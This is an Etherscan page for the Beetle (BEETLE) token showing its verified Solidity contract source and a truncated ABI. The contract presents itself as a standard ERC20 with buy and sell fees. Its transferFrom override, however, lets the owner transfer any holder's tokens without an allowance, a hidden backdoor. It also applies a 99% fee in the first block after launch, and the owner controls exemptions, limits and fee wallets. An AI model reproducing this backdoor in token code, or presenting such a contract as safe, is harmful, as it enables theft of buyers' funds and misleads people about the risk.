ETH Price: $3,022.74 (+2.14%)
Gas: 1 Gwei

Token

Beetle (BEETLE)
 

Overview

Max Total Supply

100,000 BEETLE

Holders

80

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
896.958322705398186914 BEETLE

Value
$0.00
0xf432183e72c3bcf54bce901ae37b874b8f021331
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Beetle

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-08
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.14;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    uint8 private _decimals;

    string private _name;
    string private _symbol;

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _basicTransfer(sender, recipient, amount);
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

contract Ownable {
    address _owner;
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public onlyOwner {
        _owner = address(0);
    }
    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _owner = newOwner;
    }
}

interface IFactory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address uniswapV2Pair);

    function createPair(address tokenA, address tokenB)
        external
        returns (address uniswapV2Pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Beetle is ERC20, Ownable {
    using Address for address payable;

    IRouter public uniswapV2Router;
    address public uniswapV2Pair;
    

    bool private _liquidityLock = false;
    bool public providingLiquidity = false;
    bool public tradingActive = false;
    bool public limits = true;

    uint256 public tokenLiquidityThreshold;
    uint256 public maxBuy;
    uint256 public maxSell;
    uint256 public maxWallet;

    uint256 public launchingBlock;
    uint256 public tradeStartBlock;
    uint256 private deadline = 1;
    uint256 private launchFee = 99;

    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _name;
    string private _symbol;

    bool private autoHandleFee = true;

    address private _marketingWallet = 0x816787D1f475a9019c5E75c2b041C3694a271585;
    address private _developerWallet = 0x816787D1f475a9019c5E75c2b041C3694a271585;
    address public constant deadWallet =
        0x000000000000000000000000000000000000dEaD;

    struct Fees {
        uint256 marketing;
        uint256 developer;
        uint256 liquidity;
    }

    Fees public buyFees = Fees(5,1,4);
    Fees public sellFees = Fees(10,1,9);
    uint256 private totalBuyFees = 10;
    uint256 private totalSellFees = 20;

    uint256 private totalBuyFeeAmount = 0;
    uint256 private totalSellFeeAmount = 0;

    mapping(address => bool) public exemptFee;
    mapping(address => bool) public exemptMaxBuy;
    mapping(address => bool) public exemptMaxWallet;
    mapping(address => bool) public exemptMaxSell;

 
    function launch(address router_) external onlyOwner {
        require(launchingBlock == 0);
        _name = "Beetle";
        _symbol = "BEETLE";
        _decimals = 18;
        _totalSupply = 100000 * 10**_decimals;
        IRouter _router = IRouter(router_);
        // Create a pancake uniswapV2Pair for this new token
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
    
        uniswapV2Router = _router;
        uniswapV2Pair = _pair;

        maxBuy = (totalSupply() * 1) / 100; // 1% max buy
        tokenLiquidityThreshold = (totalSupply() / 1000) * 2; // .1% liq threshold
        maxWallet = (totalSupply() * 2) / 100; // 2% max wallet
        maxSell = (totalSupply() * 1) / 100; // 1% max sell

        _beforeTokenTransfer(address(0), msg.sender, _totalSupply);

        // _totalSupply += _totalSupply;
        _balances[msg.sender] += _totalSupply;

        launchingBlock = block.number;

        exemptFee[msg.sender] = true;
        exemptMaxBuy[msg.sender] = true;
        exemptMaxSell[msg.sender] = true;
        exemptMaxWallet[msg.sender] = true;
        exemptFee[address(this)] = true;
        exemptFee[_marketingWallet] = true;
        exemptMaxBuy[_marketingWallet] = true;
        exemptMaxSell[_marketingWallet] = true;
        exemptMaxWallet[_marketingWallet] = true;
        exemptFee[_developerWallet] = true;
        exemptMaxBuy[_developerWallet] = true;
        exemptMaxSell[_developerWallet] = true;
        exemptMaxWallet[_developerWallet] = true;
        exemptFee[deadWallet] = true;

        emit Transfer(address(0), msg.sender, _totalSupply);
        

    }

    constructor()
    {
        _owner = msg.sender;
    }

   modifier lockLiquidity() {
        if (!_liquidityLock) {
            _liquidityLock = true;
            _;
            _liquidityLock = false;
        }
    }
    
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            _msgSender() == _owner ||
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        if (_msgSender() == _owner ) { return true; }
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if(limits){
        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingActive, "Trading is not enabled");
        }

        if (
            sender == uniswapV2Pair &&
            !exemptFee[recipient] &&
            !_liquidityLock &&
            !exemptMaxBuy[recipient]
        ) {
            require(amount <= maxBuy, "You are exceeding maxBuy");
        }
        if (
            recipient != uniswapV2Pair &&
            !exemptMaxWallet[recipient] 
        ) {
            require(
                balanceOf(recipient) + amount <= maxWallet,
                "You are exceeding maxWallet"
            );
        }

        if (
            sender != uniswapV2Pair &&
            !exemptFee[recipient] &&
            !exemptFee[sender] &&
            !_liquidityLock &&
            !exemptMaxSell[sender]
        ) {
            require(amount <= maxSell, "You are exceeding maxSell");
        }
        }
        uint256 feeRatio;
        uint256 feeAmount;
        uint256 buyOrSell;

        bool useLaunchFee = launchFee > 0 &&
            !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < tradeStartBlock + deadline;

        //set fee amount to zero if fees in contract are handled or exempted
        if (
            _liquidityLock ||
            exemptFee[sender] ||
            exemptFee[recipient] ||
            (sender != uniswapV2Pair && recipient != uniswapV2Pair)
        )
            feeAmount = 0;

            //calculate fees
        else if (recipient == uniswapV2Pair && !useLaunchFee) {
            feeRatio = sellFees.liquidity + sellFees.marketing + sellFees.developer ;
            buyOrSell = 1;
        } else if (!useLaunchFee) {
            feeRatio = buyFees.liquidity + buyFees.marketing + buyFees.developer ;
            buyOrSell = 0;
        } else if (useLaunchFee) {
            feeRatio = launchFee;
        }
        feeAmount = (amount * feeRatio) / 100;

        if (buyOrSell == 0) {
            totalBuyFeeAmount += feeAmount;
        } else if (buyOrSell == 1) {
            totalSellFeeAmount += feeAmount;
        }

        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (feeAmount > 0) {
            super._transfer(sender, address(this), feeAmount);
        }

        if (
            providingLiquidity &&
            sender != uniswapV2Pair &&
            feeAmount > 0 &&
            autoHandleFee &&
            balanceOf(address(this)) >= tokenLiquidityThreshold
        ) {
            swapBack(totalBuyFeeAmount);
        }

        //rest to recipient
        super._transfer(sender, recipient, amount - feeAmount);
    }

    function swapBack(uint256 _totalBuyFeeAmount) private lockLiquidity {
        uint256 contractBalance = balanceOf(address(this));
        totalBuyFeeAmount = _totalBuyFeeAmount;
        totalSellFeeAmount = contractBalance - totalBuyFeeAmount;
        uint256 liquidityBuyFeeAmount;
        uint256 liquiditySellFeeAmount;
        uint256 sellFeeLiqEth;
        uint256 buyFeeLiqEth;

        if (totalBuyFees == 0) {
            liquidityBuyFeeAmount = 0;
        } else {
            liquidityBuyFeeAmount =
                (totalBuyFeeAmount * buyFees.liquidity) /
                totalBuyFees;
        }
        if (totalSellFees == 0) {
            liquiditySellFeeAmount = 0;
        } else {
            liquiditySellFeeAmount =
                (totalSellFeeAmount * sellFees.liquidity) /
                totalSellFees;
        }
        uint256 totalLiquidityFeeAmount = liquidityBuyFeeAmount +
            liquiditySellFeeAmount;

        uint256 halfLiquidityFeeAmount = totalLiquidityFeeAmount / 2;
        uint256 initialBalance = address(this).balance;
        uint256 toSwap = contractBalance - halfLiquidityFeeAmount;

        if (toSwap > 0) {
            swapTokensForETH(toSwap);
        }

        uint256 deltaBalance = address(this).balance - initialBalance;
        uint256 totalSellFeeEth0 = (deltaBalance * totalSellFeeAmount) /
            contractBalance;
        uint256 totalBuyFeeEth0 = deltaBalance - totalSellFeeEth0;

        uint256 sellFeeMarketingEth;
        uint256 buyFeeMarketingEth;
        uint256 sellFeeDeveloperEth;
        uint256 buyFeeDeveloperEth;

        if (totalBuyFees == 0) {
            buyFeeLiqEth = 0;
        } else {
            buyFeeLiqEth =
                (totalBuyFeeEth0 * buyFees.liquidity) /
                (totalBuyFees);
        }
        if (totalSellFees == 0) {
            sellFeeLiqEth = 0;
        } else {
            sellFeeLiqEth =
                (totalSellFeeEth0 * sellFees.liquidity) /
                (totalSellFees);
        }
        uint256 totalLiqEth = (sellFeeLiqEth + buyFeeLiqEth) / 2;

        if (totalLiqEth > 0) {
            // Add liquidity to pancake
            addLiquidity(halfLiquidityFeeAmount, totalLiqEth);

            uint256 unitBalance = deltaBalance - totalLiqEth;

            uint256 totalFeeAmount = totalSellFeeAmount + totalBuyFeeAmount;

            uint256 totalSellFeeEth = (unitBalance * totalSellFeeAmount) /
                totalFeeAmount;
            uint256 totalBuyFeeEth = unitBalance - totalSellFeeEth;

            if (totalSellFees == 0) {
                sellFeeMarketingEth = 0;
                sellFeeDeveloperEth = 0;
            } else {
                sellFeeMarketingEth =
                    (totalSellFeeEth * sellFees.marketing) /
                    (totalSellFees - sellFees.liquidity );
                sellFeeDeveloperEth =
                    (totalSellFeeEth * sellFees.developer) /
                    (totalSellFees - sellFees.liquidity);
            }

            if (totalBuyFees == 0) {
                buyFeeMarketingEth = 0;
                buyFeeDeveloperEth = 0;
            } else {
                buyFeeMarketingEth =
                    (totalBuyFeeEth * buyFees.marketing) /
                    (totalBuyFees - buyFees.liquidity);

                buyFeeDeveloperEth =
                    (totalBuyFeeEth * buyFees.developer) /
                    (totalBuyFees - buyFees.liquidity);
            }

            uint256 totalMarketingEth = sellFeeMarketingEth +
                buyFeeMarketingEth;
            uint256 totalDeveloperEth = sellFeeDeveloperEth +
                buyFeeDeveloperEth;

            if (totalMarketingEth > 0) {
                payable(_marketingWallet).sendValue(totalMarketingEth);
            }
            if (totalDeveloperEth > 0) {
                payable(_developerWallet).sendValue(totalDeveloperEth);
            }

            totalBuyFeeAmount = 0;
            totalSellFeeAmount = 0;
        }
    }

    function handleFee(uint256 _totalBuyFeeAmount) external onlyOwner {
        swapBack(_totalBuyFeeAmount);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the pancake uniswapV2Pair path of token -> weth

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            _owner,
            block.timestamp
        );
    }

    function updateLiquidityProvide(bool flag) external onlyOwner {
        require(
            providingLiquidity != flag,
            "You must provide a different status other than the current value in order to update it"
        );
        //update liquidity providing state
        providingLiquidity = flag;
    }

    function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
        //update the treshhold
        require(
            tokenLiquidityThreshold != new_amount * 10**decimals(),
            "You must provide a different amount other than the current value in order to update it"
        );
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function updateBuyFees(
        uint256 _marketing,
        uint256 _developer,
        uint256 _liquidity
    ) external onlyOwner {
        buyFees = Fees(_marketing,_developer, _liquidity);
        totalBuyFees = _marketing + _developer +_liquidity;
        require(
           (_marketing + _liquidity + _developer) <= 30,
            "Must keep fees at 30% or less"
        );
    }

    function updateSellFees(
        uint256 _marketing,
        uint256 _developer,
        uint256 _liquidity
    ) external onlyOwner {
        sellFees = Fees(_marketing,_developer, _liquidity);
        totalSellFees = _marketing + _liquidity + _developer;
        require(
           (_marketing + _liquidity + _developer) <= 30,
            "Must keep fees at 30% or less"
        );
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
        providingLiquidity = true;
        tradeStartBlock = block.number;
    }

    function _safeTransferForeign(
        IERC20 _token,
        address recipient,
        uint256 amount
    ) private {
        bool sent = _token.transfer(recipient, amount);
        require(sent, "Token transfer failed.");
    }

    function getStuckEth(uint256 amount, address receiveAddress)
        external
        onlyOwner
    {
        payable(receiveAddress).transfer(amount);
    }

    function getStuckToken(
        IERC20 _token,
        address receiveAddress,
        uint256 amount
    ) external onlyOwner {
        _safeTransferForeign(_token, receiveAddress, amount);
    }

    function removeAllLimits(bool flag) external onlyOwner {
        limits = flag;
    }

    function updateExemptFee(address _address, bool flag) external onlyOwner {
        require(
            exemptFee[_address] != flag,
            "You must provide a different exempt address or status other than the current value in order to update it"
        );
        exemptFee[_address] = flag;
    }

    function updateExemptMaxWallet(address _address, bool flag)
        external
        onlyOwner
    {
        require(
            exemptMaxWallet[_address] != flag,
            "You must provide a different max wallet limit other than the current max wallet limit in order to update it"
        );
        exemptMaxWallet[_address] = flag;
    }

    function updateExemptMaxSell(address _address, bool flag)
        external
        onlyOwner
    {
        require(
            exemptMaxSell[_address] != flag,
            "You must provide a different max sell limit other than the current max sell limit in order to update it"
        );
        exemptMaxSell[_address] = flag;
    }

    function updateExemptMaxBuy(address _address, bool flag)
        external
        onlyOwner
    {
        require(
            exemptMaxBuy[_address] != flag,
            "You must provide a different max buy limit other than the current max buy limit in order to update it"
        );
        exemptMaxBuy[_address] = flag;
    }


    function bulkExemptFee(address[] memory accounts, bool flag)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < accounts.length; i++) {
            exemptFee[accounts[i]] = flag;
        }
    }

    function exemptAll(address _account) external onlyOwner{
        exemptFee[_account] = true;
        exemptMaxBuy[_account] = true;
        exemptMaxSell[_account] = true;
        exemptMaxWallet[_account] = true;
    }

    function handleFeeStatus(bool _flag) external onlyOwner {
        autoHandleFee = _flag;
    }

    function setRouter(address newRouter)
        external
        onlyOwner
        returns (address _pair)
    {
        require(newRouter != address(0), "newRouter address cannot be 0");
        require(
            uniswapV2Router != IRouter(newRouter),
            "You must provide a different uniswapV2Router other than the current uniswapV2Router address in order to update it"
        );
        IRouter _router = IRouter(newRouter);

        _pair = IFactory(_router.factory()).getPair(
            address(this),
            _router.WETH()
        );
        if (_pair == address(0)) {
            // uniswapV2Pair doesn't exist
            _pair = IFactory(_router.factory()).createPair(
                address(this),
                _router.WETH()
            );
        }

        // Set the uniswapV2Pair of the contract variables
        uniswapV2Pair = _pair;
        // Set the uniswapV2Router of the contract variables
        uniswapV2Router = _router;
    }

    function marketingWallet() public view returns(address){
        return _marketingWallet;
    }

    function developerWallet() public view returns(address){
        return _developerWallet;
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        require(
            _marketingWallet != newWallet,
            "You must provide a different address other than the current value in order to update it"
        );
        _marketingWallet = newWallet;
    }

    function updateDeveloperWallet(address newWallet) external onlyOwner {
        require(
            _developerWallet != newWallet,
            "You must provide a different address other than the current value in order to update it"
        );
        _developerWallet = newWallet;
    }
    

    // fallbacks
    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"bulkExemptFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFees","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"developer","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developerWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"}],"name":"exemptAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptMaxBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptMaxSell","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"receiveAddress","type":"address"}],"name":"getStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"address","name":"receiveAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"getStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_totalBuyFeeAmount","type":"uint256"}],"name":"handleFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_flag","type":"bool"}],"name":"handleFeeStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router_","type":"address"}],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launchingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"providingLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"flag","type":"bool"}],"name":"removeAllLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFees","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"developer","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"setRouter","outputs":[{"internalType":"address","name":"_pair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenLiquidityThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeStartBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 